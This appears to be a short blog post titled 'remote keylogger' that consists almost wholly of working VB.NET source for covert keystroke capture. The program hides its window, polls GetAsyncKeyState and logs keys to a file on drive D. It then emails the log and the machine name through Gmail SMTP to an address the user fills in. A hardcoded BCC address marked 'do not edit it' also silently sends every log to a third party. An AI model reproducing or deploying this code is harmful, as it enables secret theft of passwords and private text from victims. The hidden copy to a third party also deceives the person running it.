Monday, February 20

remote keylogger


.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Imports System.Net.Mail

Public Class Form1
Dim result As Integer
Dim status As Integer = 0
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Hide()
Try
If (My.Computer.FileSystem.FileExists("D:\metadata.txt")) Then
Else
My.Computer.FileSystem.WriteAllText("D:\metadata.txt", "", True)
End If
Timer1.Start()
Timer2.Start()
Timer3.Start()
Catch ex As Exception
End Try
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try
Me.Hide()
RichTextBox1.Text = RichTextBox1.Text.Replace(" ", "[SHIFT] ")
RichTextBox1.Text = RichTextBox1.Text.Replace(" ¤", "[ALT] ")
RichTextBox1.Text = RichTextBox1.Text.Replace(" ¢", "[CTRL] ")
RichTextBox1.Text = RichTextBox1.Text.Replace(" ", "[BACKSPACE] ")
RichTextBox1.Text = RichTextBox1.Text.Replace(" ", "[CAPS LOCK] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("[SHIFT]¡", "[RSHIFT] ")
RichTextBox1.Text = RichTextBox1.Text.Replace(" ¥", "[RALT] ")
RichTextBox1.Text = RichTextBox1.Text.Replace(" £", "[RCTRL] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("%", "[LEFT ARROW] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("'", "[RIGHT ARROW] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("&", "[UP ARROW] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("(", "[DOWN ARROW] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("-", "[INSERT] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("$", "[HOME] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("#", "[END] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("!", "[PAGE UP] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("x", "[F9] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("p", "[F1] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("q", "[F2] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("r", "[F3] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("s", "[F4] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("t", "[F5] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("u", "[F6] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("v", "[F7] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("w", "[F8] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("y", "[F10] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("z", "[F11] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("{", "[F12] ")
RichTextBox1.Text = RichTextBox1.Text.Replace(" ", "[ESC] ")
RichTextBox1.Text = RichTextBox1.Text.Replace(",", "[PRINTSCREEN] ")
RichTextBox1.Text = RichTextBox1.Text.Replace(" ", "[PAUSEBREAK] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("", "[NUM LOCK] ")
'End If
RichTextBox1.Text = RichTextBox1.Text.Replace("¾", ".")
RichTextBox1.Text = RichTextBox1.Text.Replace("¾", ".")
RichTextBox1.Text = RichTextBox1.Text.Replace("½", "[DASH] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("[INSERT][DASH]", "[DASH] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("»", "=")
RichTextBox1.Text = RichTextBox1.Text.Replace("Ü", "\")
RichTextBox1.Text = RichTextBox1.Text.Replace("Ü", "\")
RichTextBox1.Text = RichTextBox1.Text.Replace("a", "1")
RichTextBox1.Text = RichTextBox1.Text.Replace("b", "2")
RichTextBox1.Text = RichTextBox1.Text.Replace("c", "3")
RichTextBox1.Text = RichTextBox1.Text.Replace("d", "4")
RichTextBox1.Text = RichTextBox1.Text.Replace("e", "5")
RichTextBox1.Text = RichTextBox1.Text.Replace("f", "6")
RichTextBox1.Text = RichTextBox1.Text.Replace("g", "7")
RichTextBox1.Text = RichTextBox1.Text.Replace("h", "8")
RichTextBox1.Text = RichTextBox1.Text.Replace("i", "9")
RichTextBox1.Text = RichTextBox1.Text.Replace("o", "/")
RichTextBox1.Text = RichTextBox1.Text.Replace("j", "*")
RichTextBox1.Text = RichTextBox1.Text.Replace("k", "+")
RichTextBox1.Text = RichTextBox1.Text.Replace("m", "[DASH] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("¿", "/")
RichTextBox1.Text = RichTextBox1.Text.Replace("`", "0")
RichTextBox1.Text = RichTextBox1.Text.Replace("n", ".")
RichTextBox1.Text = RichTextBox1.Text.Replace("¼", "[COMMA] ")
RichTextBox1.Text = RichTextBox1.Text.Replace(" ", vbNewLine & "[TAB] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("Ý", "[SQR BRKTL] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("Û", "SQR BRKT ")
RichTextBox1.Text = RichTextBox1.Text.Replace("Þ", "[QUOTE] ")
RichTextBox1.Text = RichTextBox1.Text.Replace("º", ";")
RichTextBox1.Text = RichTextBox1.Text.Replace("[SHIFT] 2", "@")
RichTextBox1.Text = RichTextBox1.Text.Replace("[SHIFT] 6", "^")
RichTextBox1.Text = RichTextBox1.Text.Replace("[SHIFT] 8", "*")
RichTextBox1.Text = RichTextBox1.Text.Replace("[SHIFT] 0", ")")
'If CheckBox2.CheckState = CheckState.Checked Then
RichTextBox1.Text = RichTextBox1.Text.Replace(" ", "[LEFT CLICK]")
RichTextBox1.Text = RichTextBox1.Text.Replace(" ", "[RIGHT CLICK]")
'Else
RichTextBox1.Text = RichTextBox1.Text.Replace("[LEFT CLICK]", " ")
RichTextBox1.Text = RichTextBox1.Text.Replace("[RIGHT CLICK]", " ")
'End If
'If CheckBox1.CheckState = CheckState.Checked Then
For i = 1 To 275
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next i
'End If

Catch ex As Exception

End Try
'If CheckBox3.CheckState = CheckState.Checked Then
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Try
If My.Computer.Network.IsAvailable = True And status = 0 Then
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
mail.Bcc.Add("smtpadmnport587@gmail.com")'do not edit it
Dim emailid, password As String


emailid = "youremailid@gmail.com"
password = "yourpassword"
Try
'Dim contentype As New ContentType(MediaTypeNames.Application.Octet)
'Dim data As New Attachment("D:\abc.rar", contentype)
smtpServer.Credentials = New Net.NetworkCredential(emailid, password)
' smtpServer.Port = 465
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
'smtpServer.Host = "smtp.mail.yahoo.com"

smtpServer.EnableSsl = True
mail = New MailMessage()
' MailAttachment attachment = new MailAttachment( Server.MapPath( "test.txt" ) ); //create the attachment
' mail.Attachments.Add( attachment );
'mail.Attachments.Add(Data)

mail.From = New MailAddress("iloveyou@katarina.com")
mail.To.Add("towhichuhave2send@gmail.com")
mail.Subject = My.Computer.Name
mail.Body = My.Computer.FileSystem.ReadAllText("D:\metadata.txt") + vbNewLine + TimeOfDay + vbNewLine + RichTextBox1.Text

smtpServer.Send(mail)
If (My.Computer.FileSystem.FileExists("D:\metadata.txt")) Then
My.Computer.FileSystem.DeleteFile("D:\metadata.txt")
End If
My.Computer.FileSystem.WriteAllText("D:\metadata.txt", "", True)
status = 1
Catch ex As Exception
End Try
End If
Catch ex As Exception
End Try
End Sub

Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Try
Dim getstore As String = My.Computer.FileSystem.ReadAllText("D:\metadata.txt")
If (My.Computer.FileSystem.FileExists("D:\metadata.txt")) Then
My.Computer.FileSystem.DeleteFile("D:\metadata.txt")
End If
My.Computer.FileSystem.WriteAllText("D:\metadata.txt", getstore + vbNewLine + RichTextBox1.Text, True)
RichTextBox1.Text = ""
Catch ex As Exception
End Try
End Sub
End Class